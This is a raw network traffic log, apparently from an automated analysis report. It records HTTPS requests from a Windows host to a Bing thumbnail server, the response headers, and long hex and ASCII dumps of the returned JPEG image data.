2024-11-28 01:27:19 UTC	16384	IN	Data Raw: df 43 75 25 af ee ee a5 8b e7 f2 df f8 a3 fc 29 da c5 c4 9a ae b5 fd a1 24 16 51 47 17 fa df b2 4d b3 cc db fc 5f f0 2a a7 af 6a 57 3a ae a3 2e a1 20 86 1f 32 3f 2e 38 a2 1f c2 3f cf 2d 57 cf 33 9f d9 c2 31 b7 5b 94 23 48 de 7f 2f fe 7a 54 b1 9f ee 7f cf 3f f9 67 50 79 51 f9 3b ea 09 25 92 b5 27 97 98 bd 09 8f cf f9 e1 f3 53 fe 79 d6 8e a9 a7 69 d3 78 5f fb 42 d3 54 87 ed 16 bb 22 96 c2 6d fe 6c 9b bf e5 ac 7f ec 55 0b 8f b1 25 a5 af d8 fc e9 24 96 2f de ff 00 bd fe cd 30 4b 12 69 b2 f9 80 f9 92 7f ab fe ed 66 38 de 0c cd 91 6a 5e 69 7e fd 43 ff 00 2d 28 34 1e 8f fb ed f4 4f f3 cd 4b 6f 14 8f 37 97 1f 9d 24 92 7f cf 2a 76 fd f3 79 94 0c 86 75 df fb ca ab 25 5d b8 7f dc f9 75 56 44 a0 b8 15 df cc 7a 97 f7 9f f6 d2 99 23 d3 e3 f9 e8 37 37 6e bf b2 9e ce ee Data Ascii: Cu%)$QGM_jW:. 2?.8?-W31[#H/zT?gPyQ;%'Syix_BT"mlU%$/0Kif8j^i~C-(4OKo7$vyu%]uVDz#77n
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 6c b5 8f 85 7a 7e 87 24 13 4b e2 0f 0e 44 96 d6 12 dd fe e6 6f b0 7e f2 5f 2b 67 f1 ec fe 1a f0 69 1a 33 1e 52 be a3 f8 a1 a2 f8 9e eb e2 06 bf e1 bd 63 4a bd 97 c4 17 51 41 6d a7 fd c9 92 e1 2d bf d5 5c 6e ff 00 c7 6b cb f4 fd 36 df c3 7e 2e 97 c3 f3 f8 03 ed d6 f6 92 c7 16 a9 16 b5 03 ef 92 58 fe fa c6 df f2 c5 2b a7 0d 3e 5f 74 e4 c6 51 e6 9f 37 c8 e0 3e 12 e8 b7 be 21 f8 8d a5 69 d6 f0 cd ff 00 1f 70 79 b2 c3 f7 e3 5d ff 00 c3 fe d5 7b bf ed 6d f1 0b 41 bd b3 87 c1 70 68 97 b2 68 7a 5d ff 00 da 74 a9 a6 ff 00 5d 3c 4d fc 48 cf fe af e7 f3 7e 6a f5 4f 82 fa 27 c3 64 9b 45 93 4a d1 21 d0 75 4b 5b 59 ef 65 8a d2 6f dc dd dd 37 fa 84 f9 be 67 51 fb cf 92 b8 3f 8e 9f 0b 7c 61 e3 f8 3f e1 38 d0 ef ac bc cb fb 5f b4 c5 a5 5d de a4 3e 45 bb ff 00 ac f2 dd f8 Data Ascii: lz~$KDo~_+gi3RcJQAm-\nk6~.X+>_tQ7>!ipy]{mAphhz]t]<MH~jO'dEJ!uK[Yeo7gQ?\|a?8_]>E
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 67 53 78 ea 7b 5d e7 c5 db 28 60 fb 37 86 f4 af f9 65 e5 79 ba 84 fe 72 7c bf ec 37 f0 ff 00 bd 55 bc 3f f1 17 c3 36 7a 64 3f f0 92 59 4d 2d c5 d7 fa 4d ac ba 7c 09 6f 35 a7 fd 33 f9 3e fd 78 24 7a ae 26 8a 4f f5 5f f3 d7 ca ae 93 4b d4 bc 3a f3 7f a6 58 7d aa 39 25 92 38 a2 f3 bc 9f e0 ae af ec fa 31 3c df ed fc 4d 49 fb 92 5f 3d 8f 69 f1 c7 8e 34 1d 4b e1 c4 52 69 ff 00 e8 b7 12 dd 47 fe 8b 34 df 3c 7b 7f 8b f1 af 20 d5 bc 45 21 bc 8b ec 67 fe ba cb 5a eb e0 3d 27 55 83 ec 9e 1c f1 8d 95 d6 a1 75 17 9b 61 61 77 f2 4c ff 00 27 fa 9f fa eb ff 00 a1 57 9d 5d 0b 8b 5b 78 be d1 6f 30 49 7f f6 5a ec c3 46 8c 1d a2 79 79 c6 27 1f 5b 96 72 8d bc d1 dd 69 fe 32 b9 49 a1 f3 47 ee e3 ff 00 5b 5e 95 e1 3d 4e 3b c8 62 ff 00 9e 9f f5 c6 be 7e b0 69 2e 3f 78 6b d5 fe Data Ascii: gSx{](`7eyr\|7U?6zd?YM-M\|o53>x$z&O_K:X}9%81<MI_=i4KRiG4<{ E!gZ='UuaawL'W][xo0IZFyy'[ri2IG[^=N;b~i.?xk
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 3a 7d cc 77 37 d7 37 91 59 43 12 5c dd 7e ea d7 f8 3e 6a e9 91 7c 4f e1 9f 0f c9 25 e0 03 4f 96 58 e4 8a 29 66 f9 fc dd 9f 2f 97 f4 af 4f dc e4 f7 8f 9c e7 ab cf 2e c7 aa 7c 44 f8 55 e0 2d 57 c0 b1 5e 78 7f 43 ff 00 84 5f 50 f9 24 ff 00 8f df b4 fd a1 ff 00 e7 9c 89 ff 00 2c eb 80 8f e1 76 95 a2 41 7f 79 e2 cf 15 59 69 71 c3 17 ee ad 4c 2f e7 5c 7f d7 2f f6 fd 2b 84 d4 2f ef 7e d9 22 68 9a a5 ed d0 f2 be d3 75 e6 fd dd f5 dd 7c 3c f0 06 a3 e2 8f ec 5d 73 c6 fa df da 74 7d 52 5f b3 5a ff 00 a6 ef 9a 47 ff 00 9e 5f 37 fa aa c1 fb a7 a1 fc 79 7c 3f 71 d8 47 ff 00 0c c6 97 d1 5b d9 ea be 20 96 4b 58 a3 f3 65 87 46 fb 44 37 69 fc 6b e5 bf dd ad 5f 86 7e 1d f8 5b e3 0b cf 10 5c 69 7e 07 d6 a2 f0 7e 97 14 97 32 ea 1a 86 a7 b3 cc 97 fe 58 fe ed 29 96 f7 7a 4f 86 Data Ascii: :}w77YC\~>j\|O%OX)f/O.\|DU-W^xC_P$,vAyYiqL/\/+/~"hu\|<]st}R_ZG_7y\|?qG[ KXeFD7ik_~[\i~~2X)zO
2024-11-28 01:27:19 UTC	16065	IN	Data Raw: 00 c9 d8 96 9f f5 d2 3f e3 ff 00 6a be a2 b3 d3 f5 af 0c 68 b1 78 3f 47 f8 73 fd bd e1 bf 92 e7 ca d5 b5 37 9b ee ff 00 73 7f f1 7f 1d 62 5c 7c 34 f0 87 8b 6f bf b6 2f 3e 1d 6b 5e 17 bf d5 2e a3 8f ed 5a 7d e7 fa 27 f7 be 65 ff 00 96 7b ff 00 8a be 7a 15 a7 f6 8f b6 ad 85 52 e5 e5 3e 75 f8 d5 e1 eb 8f 05 f8 cb 59 f0 8e a1 e4 dd 5d d8 cb 98 6e a2 9b 11 47 e6 7e f3 e5 1f ee d7 79 fb 1f e9 31 de 58 ea b6 fa c4 f6 52 e8 f7 5b ff 00 b4 22 8a 1f 3a fb f7 49 bd 23 85 3e fe d3 f7 8d 69 7e dd 1e 14 d4 5f c4 ff 00 f0 b1 3c 88 7e c7 7f 14 16 52 c5 14 df 3f da 12 1f bd b5 bf 87 6d 76 5f b3 7f 89 7e 1d 78 27 c3 fa 7f 84 f5 c9 f4 cb 0f 12 5d 69 51 dc ff 00 6a 7f cb 1b bb 7b af 9f 6b 49 fd e4 5a de b4 e7 f5 6f 77 73 8a 8d 18 2c 64 b9 f6 3c ef c5 17 1a 77 fc 23 11 69 fe Data Ascii: ?jhx?Gs7sb\\|4o/>k^.Z}'e{zR>uY]nG~y1XR[":I#>i~_<~R?mv_~x']iQj{kIZows,d<w#i
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 36 4b a9 31 e5 c9 55 e3 d5 e4 f2 bc bf f5 b1 ff 00 d3 5a 7c 97 72 5d ff 00 ac 9b fd 5f fd 31 a4 47 b3 99 66 d7 53 8d 3f d5 c1 5a fa 7e b1 73 34 3e 5c 73 d7 2d 1c 52 43 35 58 b7 97 65 3d 03 58 7c 07 ba fc 27 f8 c1 a9 78 62 1f b3 ea 10 7d bf 4b 96 58 fc d8 bf 8f fd fd d5 e8 be 20 4f 08 78 f2 ce 29 2e 0d 9f 84 e4 9a c1 e5 fe d4 8a f7 c9 f3 ff 00 eb ac 51 fc bf 76 bc 37 e1 a7 84 b5 a9 bc 33 aa f8 c3 50 b1 ff 00 8a 7e c2 d6 48 ee a5 bb ff 00 9e ac 9f bb f9 3e f5 74 9f 00 ef 6d fc 4f 0c 5e 0b d5 20 fb 55 9c b1 49 27 d9 65 9f 67 df fb ed bf fb d5 c3 5a 30 f8 a2 7b f8 3c 45 6f 76 95 5e bb 19 5a 5f 83 7e 1f 26 a9 15 c7 fc 2c db 2f b1 ff 00 d3 2d 32 69 ae 3f e0 2b 5e 85 67 e0 7f 86 b6 73 45 aa 78 7f 5c 9a ea e2 d6 58 3c ab ab bf f8 f6 f3 57 e7 fe 15 f9 fd e9 9a c7 Data Ascii: 6K1UZ\|r]_1GfS?Z~s4>\s-RC5Xe=X\|'xb}KX Ox).Qv73P~H>tmO^ UI'egZ0{<Eov^Z_~&,/-2i?+^gsEx\X<W
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 82 fc 1b ad 3e eb fd 6d ac 53 79 29 f2 fd d6 5d bf 77 6d 7a 36 87 f1 02 da d7 c4 1a 2f 87 fc 2f 63 37 f6 3c 91 41 65 2f 9b f2 5c 49 2b 7d f6 a5 50 bc 35 3a 5e da f2 ed 62 6f 16 6a 16 5a 0e 97 6b 6f 24 ff 00 60 bc b5 b5 f2 ad 62 f2 7e 48 ff 00 e9 a7 cb 5e 4d 7e fe 6f 95 ff 00 2d 24 ff 00 d9 ab d6 7f 69 7d 37 52 d3 f4 59 52 f2 c6 ca 2f 2b 50 f3 22 96 29 bf 7c 9b ab 8d f0 a7 83 6f a2 fe cf 93 51 86 7b 1b cd 52 58 ff 00 b3 e5 9b e4 87 e6 fe 37 fe 3a e7 fa d4 14 39 8e da b9 7d 69 d6 f6 6b a1 43 c0 37 ba ca 5c 4b a3 db 4f 7b f6 7f 37 ed 32 c5 17 f7 d6 ac f8 ef 4a d4 bc 65 e3 bb ad 72 ce c7 ec 1f 6a 96 3b 6f 2a 69 92 1f 2d d5 3e e6 f6 db 5e a7 f1 03 c2 3a 77 82 66 b5 d1 ef 27 9a 2d 42 d7 cb 92 5d 56 28 7f e3 e1 ff 00 87 67 ff 00 15 5e 57 e2 c4 fb 4d ec b7 12 4f Data Ascii: >mSy)]wmz6//c7<Ae/\I+}P5:^bojZko$`b~H^M~o-$i}7RYR/+P")\|oQ{RX7:9}ikC7\KO{72Jerj;o*i->^:wf'-B]V(g^WMO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49734	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:18 UTC	375	OUT	GET /th?id=OADD2.10239357290389_1WHXB2JL6W3CH3HF1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:18 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 397494 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4C95A44440F543C0B6700573211BD67D Ref B: EWR30EDGE0822 Ref C: 2024-11-28T01:27:18Z Date: Thu, 28 Nov 2024 01:27:17 GMT Connection: close
2024-11-28 01:27:18 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 32 34 3a 31 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:24:108C
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 63 cf 38 c8 f7 ad 18 83 38 c0 04 0e 99 22 b2 ec 5d ad d7 20 d5 a9 ae ee 25 f9 43 90 a3 a0 ae a8 b4 d6 a7 9d 24 ee 68 2b 45 0a f2 41 c5 52 d4 65 4b 96 01 93 38 e9 51 29 77 fb dd 29 70 cb fd e1 47 36 9a 12 a3 6d 4a c9 66 04 dd 0e d2 3b d4 72 59 88 df 29 26 0f a6 3a 55 e6 e3 ab e2 aa b1 c4 9f 33 83 ed 9a 22 d9 65 66 17 67 e6 d8 d8 5e b8 ef 4c 17 fe 67 ca 24 19 5f bc a2 af 4d 75 1a c7 9c e3 02 b3 e5 9e d5 d4 91 6e ac d9 ea ac 03 7e 35 b4 55 fa 01 6a 2b a4 31 ec 27 fa d6 7d f0 59 24 c7 38 e8 05 43 33 6d e5 03 05 f5 c7 4f ca 9b e7 8d b9 0d 92 3b d5 72 75 29 68 43 7d 0c 68 b9 93 e5 51 d0 8a 8a 39 55 d5 42 0e 3b 13 4f b8 88 4d 82 c4 ed f4 07 8c fb d5 7b a6 92 28 49 8b 05 41 c0 dd d7 f0 ad 12 be e3 b9 31 8b 73 e4 80 7d 79 e9 4e 96 53 12 ec 41 9d dc 9c 55 38 84 85 Data Ascii: c88"] %C$h+EAReK8Q)w)pG6mJf;rY)&:U3"efg^Lg$_Mun~5Uj+1'}Y$8C3mO;ru)hC}hQ9UB;OM{(IA1s}yNSAU8
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 03 92 b9 19 a7 74 84 f2 41 3d 30 7f 3c 8a 52 01 87 a7 7c 67 b8 e3 a7 ff 00 5a a1 6f 76 34 d4 6c d0 6d 0a 8a cc fb 49 23 3c 64 63 ad 17 27 e7 c1 8f 9e a4 ae 4e 7f 1a 15 a4 1b 18 ee 58 b3 d4 55 98 95 19 77 23 92 a7 dc 82 7e b5 9b a9 ca ef 21 b8 b5 14 d1 16 d4 8d c2 98 d4 96 03 1f 2f 19 fc 69 cf 11 91 83 26 14 a7 07 8c 0f d3 bd 3b c9 d9 92 86 42 7d e4 c5 35 40 2e c9 29 50 39 21 4b f2 0f a8 3f e3 59 f3 27 aa 34 8d ef 7e 62 1f 20 7d e2 c4 a9 e8 54 1c 9c fb 1a 74 69 86 da 07 3d 78 1f e7 14 61 d9 ce e9 0b b6 3a 13 c8 fc 7f c2 bd 73 f6 46 f8 65 61 e3 ef 1b 5d dc f8 82 d6 4b 8d 03 45 80 49 75 12 ca 63 17 13 3e 44 50 96 1c e0 e1 98 e0 e7 0b da 89 cf 95 73 48 e9 84 65 37 6b 9e d5 ff 00 04 fe f0 ee b1 a0 78 07 56 d7 f5 11 e4 58 f8 96 48 24 d3 10 b0 2e eb 1f 98 ad 21 Data Ascii: tA=0<R\|gZov4lmI#<dc'NXUw#~!/i&;B}5@.)P9!K?Y'4~b }Tti=xa:sFea]KEIuc>DPsHe7kxVXH$.!
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: d2 b5 b4 c1 7c ed 84 e7 bd 30 4a c1 40 6c e0 55 88 8a 48 98 71 8f fe b5 59 8a 38 de 15 04 0d c3 83 51 a1 0e f9 26 9e ea 62 e4 3d 21 0a d0 11 9d 80 e0 77 c5 31 78 6c 66 a4 49 df 04 12 70 6a 09 1d 55 b2 39 a6 e4 09 6a 49 7d 26 70 10 f4 18 e2 ab 42 87 7f bd 48 bf 3b e7 b5 48 b1 31 39 0b c5 08 06 4e 87 76 e3 cd 07 95 c0 ab 3e 53 95 19 a7 c3 6d bb a9 01 7d ea ae ba 13 d0 ab 0a b1 6a bf 63 19 76 08 48 55 3d cd 47 e5 05 7c 28 cd 58 85 58 b0 20 10 6a a3 51 21 38 dc b9 a8 69 92 da c6 24 62 ac 8e 06 d9 10 e5 4e 7b 7a 8a 2c cd 8f 0d 32 1c a8 fb b9 e1 8f bd 21 f3 9e 31 11 2d b6 a5 82 c7 7f 6f ce 93 a8 c9 51 56 d4 ad a8 c5 15 cf cf 6d 1e cc 13 95 1f 77 f0 aa d0 d8 93 d4 73 5d 05 9e 9c 4f 03 a5 5d 8e cd 11 b2 40 c8 a8 94 9b 0e 74 b6 39 98 b4 d7 3d 06 00 f6 a9 d7 4c 6d Data Ascii: \|0J@lUHqY8Q&b=!w1xlfIpjU9jI}&pBH;H19Nv>Sm}jcvHU=G\|(XX jQ!8i$bN{z,2!1-oQVmws]O]@t9=Lm
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: e6 43 e5 6d 17 2d 9c 15 21 4f de c5 58 89 02 2e 3b 9e d9 e2 a8 db c6 c8 bc 7f fa aa d4 6e db b7 13 d0 67 1f fd 7a 5c c8 5c b2 38 1f da fa cb ed bf b3 ae b2 f8 cb 58 5d da 5d af 04 f0 24 d8 71 8e 9c 49 d4 d7 c6 3f 30 b3 0a 38 25 b3 ee 6b ee 2f da 2e f7 ec 7f b3 df 8c 26 26 21 e7 69 a2 dd 4c 98 c1 32 4a 83 00 1e e7 9c 77 cf d2 be 1e 71 9b 55 64 7d cc b9 2c 49 f9 80 3e d5 ea e0 65 fb b5 ea 78 99 94 5a a8 bb bb 10 1e 3a d1 4a 72 17 38 3c 8c d2 7b 0e d5 ea 9e 3d 83 ae 71 da 8c 8d bb bb 7a d0 38 62 79 e7 de 8a 60 23 13 c0 1b 73 ef e9 4b 45 14 80 32 3f 2a 01 cf 4a 28 a0 00 a8 3c 11 9e f4 7f 10 02 8a 28 00 a2 8a 28 00 04 f4 3f a5 0a 32 fc 00 48 04 e0 fa 0a 29 55 b6 b0 3d 81 cd 27 b1 51 d6 48 b1 b5 59 b7 b3 c6 c3 80 bf 29 3f 85 11 ec f2 5b 70 52 d9 3c b0 c2 8e 78 Data Ascii: Cm-!OX.;ngz\\8X]]$qI?08%k/.&&!iL2JwqUd},I>exZ:Jr8<{=qz8by`#sKE2?*J(<((?2H)U='QHY)?[pR<x
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: d7 3e c4 9e b5 ee df f0 4f cd 0d 75 4f 8e 6f aa 4b 1e e5 d0 f4 a9 ae 63 6c 70 b2 b9 11 29 cf 4e 8c d5 9c e5 c9 07 23 a6 94 79 a4 91 f6 4e 9b a7 d8 69 7a 6d be 99 a4 59 45 67 a7 d8 c6 20 b4 b6 88 61 21 8c 74 00 7b f5 c9 e4 92 6a c0 cf 07 15 22 a1 0b c6 05 24 9b 87 d2 bc 4e 63 d3 e5 23 65 27 bd 30 80 3a f2 29 c7 3d d6 93 6b 7a 54 f3 95 c8 31 b1 da 9c bb 07 53 c5 29 59 39 e2 9a c8 e1 49 f4 a4 ea 15 ca 29 68 fa 0e 94 9e 6a 0e 83 8a 8d c3 ff 00 f5 aa 33 b8 72 47 35 3e d4 5c 84 e6 71 d9 33 8a 6b 4f 9f e0 fc 6a 1d cc 3b 50 cc 4f 18 e6 97 b4 0e 52 52 c5 ba 2e 0f b9 a4 da 7b d4 45 9f b6 45 01 a4 3c d1 ed 03 94 9b 62 8e b4 c2 a9 48 37 9a 7a 27 73 9c 53 e6 62 68 8f cb 43 c6 69 ad 0f 61 d2 ac 6c c7 38 a6 90 7d 29 a9 0a c5 56 88 0c 8e 29 ac bd aa d1 8b 38 e0 d3 1e 22 Data Ascii: >OuOoKclp)N#yNizmYEg a!t{j"$Nc#e'0:)=kzT1S)Y9I)hj3rG5>\q3kOj;PORR.{EE<bH7z'sSbhCial8})V)8"
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: cc 78 0c 07 e1 8a 91 5a 47 38 92 70 ab ed c9 aa 9b 88 a7 ab a0 5e 77 51 72 5c 4b df bb 66 c2 a1 6c 77 34 f5 7d 8b fb b8 e3 5f 72 6a 88 9d 87 03 8a 4d e5 9b 97 c7 b5 57 31 3c a5 b9 67 90 f0 4a fe 15 08 70 73 bc ee f4 c5 46 76 fa d3 43 28 6a 01 22 68 dc 46 fb 9b a1 a2 e0 ef 5e 13 8f 50 05 47 e6 03 d0 0c 7b 8a 72 e0 ff 00 85 00 56 70 a1 b3 8e 69 8c ff 00 2f 02 ae 48 a9 b7 84 03 1d c5 43 20 c7 d2 a7 96 c5 dc ac 4b 7d 29 8d c5 58 65 cd 46 c0 0e 0d 49 57 21 6e b4 53 d8 2d 23 63 a0 e2 8e a3 19 c9 a4 c1 ea 69 c4 e2 98 49 ef 40 c5 2b 51 b0 f4 a7 67 e5 c5 35 89 a0 68 63 0a 6b 13 4a c7 d6 98 4f e5 52 d8 08 49 a6 31 f4 a7 31 ca f1 4c c1 3c 1a 56 1a 13 71 3d e9 03 62 9c 00 a4 c6 39 a4 30 dc dd a8 0c 7b d0 06 79 e9 4a a3 2d 40 08 33 52 c6 be a7 14 b1 e3 76 18 75 ab 31 Data Ascii: xZG8p^wQr\Kflw4}_rjMW1<gJpsFvC(j"hF^PG{rVpi/HC K})XeFIW!nS-#ciI@+Qg5hckJORI11L<Vq=b90{yJ-@3Rvu1
2024-11-28 01:27:19 UTC	16065	IN	Data Raw: 07 ec b2 1e 54 7e 74 d5 8b 63 f3 c1 ad 96 8e 3f e1 35 42 f5 4a c9 8c 82 0d 09 15 cc 29 98 18 76 a7 6e f5 99 20 22 42 32 47 e3 52 33 ba b9 01 6a 36 3c 96 2d cd 68 b4 13 23 70 c3 80 fc 75 eb 4c c9 db cd 0f c7 5a 6f b1 aa b8 98 3b 61 78 a6 33 67 bd 3c 8e b8 eb 51 f5 e0 73 40 ac 2a 67 76 73 8a 96 3b 87 55 c7 18 f7 a8 95 0f 71 91 4a cb 85 f7 a5 74 3e 52 4f 31 24 6c 48 95 26 f8 a3 5e 12 a9 f3 bb 3f ce 9c c4 85 24 d4 c8 68 92 e2 e1 59 71 e5 82 09 aa a7 66 e2 7a 0e de d4 ed ca 7a 0c 50 48 0b c2 64 fa d1 74 82 d7 23 c8 dd 90 3f 5a 7c 6c bd 36 03 4a 1d 57 93 1f e9 4d 79 40 e4 26 0f 6a 4e 43 42 cb 1a 15 ca f1 59 da a4 45 b4 fb 95 47 c3 18 9f 07 d0 e0 e2 ad 4d 3b 1f 97 35 4f 52 72 2c 6e 09 27 02 26 3c 7b 29 aa 85 ee 85 2d 99 e4 27 86 da 56 9c b8 e1 7a 6d eb 55 23 b8 Data Ascii: T~tc?5BJ)vn "B2GR3j6<-h#puLZo;ax3g<Qs@*gvs;UqJt>RO1$lH&^?$hYqfzzPHdt#?Z\|l6JWMy@&jNCBYEGM;5ORr,n'&<{)-'VzmU#
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 91 e9 93 8e 52 10 50 fa 70 40 fe b5 20 bd 47 70 22 0c ce 4f 46 5e 05 58 59 ef 99 7c 99 22 28 bd 9c f4 1f 95 1c 92 be e2 94 db 20 87 46 31 26 4c 98 56 3d 09 a8 75 14 86 08 de d0 f9 86 53 f7 3c b3 c6 7b 64 67 04 54 37 ff 00 69 fb 41 4f 98 b0 ee 09 20 fb 8a 6d a3 66 e7 17 24 c7 81 90 48 e4 9e dd 6b 78 c2 da dc 87 26 c8 20 b7 99 5c 19 cc 88 bd 09 1c 9c 77 ab 12 4b a5 c5 20 0d 73 70 cb dc 79 58 23 f1 c9 06 ae c9 7e b1 49 b6 55 05 58 70 c3 07 f4 a4 92 6d 35 f0 4c 5b 8e 7b 2e 05 39 4a ab d8 17 2f 50 86 dd 26 53 25 8c 9e 7c 63 d7 87 1f ef 2f f8 54 78 70 d8 70 c3 04 82 0d 5a 74 b7 48 d5 ed 43 23 9e e3 d2 a7 82 60 57 6c e9 1c 98 e0 e0 72 3e b4 95 47 6d 51 2e 2b a1 47 e6 2b b7 76 45 39 50 b2 93 9c 62 ad 5c 5a 23 c6 65 b7 e5 40 e7 b3 01 ee 3b d5 58 e0 98 c9 85 c8 dd Data Ascii: RPp@ Gp"OF^XY\|"( F1&LV=uS<{dgT7iAO mf$Hkx& \wK spyX#~IUXpm5L[{.9J/P&S%\|c/TxppZtHC#`Wlr>GmQ.+G+vE9Pb\Z#e@;X
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 2e 3e f0 2d 21 39 3c f3 ed 5e 16 4f 7c fe 75 f5 38 54 d6 1e 3e 87 93 8a d6 ab 1a c0 06 1c 16 52 72 40 fe 5c d3 99 70 cd 8d ca d8 e4 13 d4 7a 52 12 57 69 09 bb 04 9c 1f e7 4b bd 5a 4c 9c fc dc e0 0f 4a e8 39 5d c3 97 25 b9 38 e0 f3 c6 68 56 23 25 72 30 32 70 d8 fd 7b d3 a4 65 6d c3 f8 81 24 9c 63 19 f5 a8 db 1b 00 24 ed 07 38 23 d7 d2 88 c6 e0 de 9b 0e 62 7d 02 fb 67 1c 7e 3d 4d 20 73 ce 46 32 7f ce 69 7c d7 3e 9b b9 19 23 f4 f6 34 05 03 8d dd ba 81 9e 7e bd 28 e5 b6 e0 9e 9a a0 c0 1c 8c 93 e9 4e 42 c2 4c 0f 94 9f 7a 6c 4d f2 90 38 e7 1e 94 67 e5 a5 d4 1a 64 c4 81 22 92 0b 1f 6e 3f 1a b4 a7 e7 5c 74 c6 41 cd 52 5c 70 31 cf ad 59 b7 72 c5 41 fa 16 a7 28 ec 4d 34 b9 8f d2 df d8 77 78 fd 94 3c 1d e6 c7 b4 88 6e 36 f3 f7 97 cf 7c 37 e3 5e b5 1f 0d c7 15 e4 bf Data Ascii: .>-!9<^O\|u8T>Rr@\pzRWiKZLJ9]%8hV#%r02p{em$c$8#b}g~=M sF2i\|>#4~(NBLzlM8gd"n?\tAR\p1YrA(M4wx<n6\|7^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:18 UTC	346	OUT	GET /th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:18 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 308655 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3B59F0DF05FD42EFA8DB966CF642F397 Ref B: EWR30EDGE0317 Ref C: 2024-11-28T01:27:18Z Date: Thu, 28 Nov 2024 01:27:18 GMT Connection: close
2024-11-28 01:27:18 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 32 34 3a 34 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data 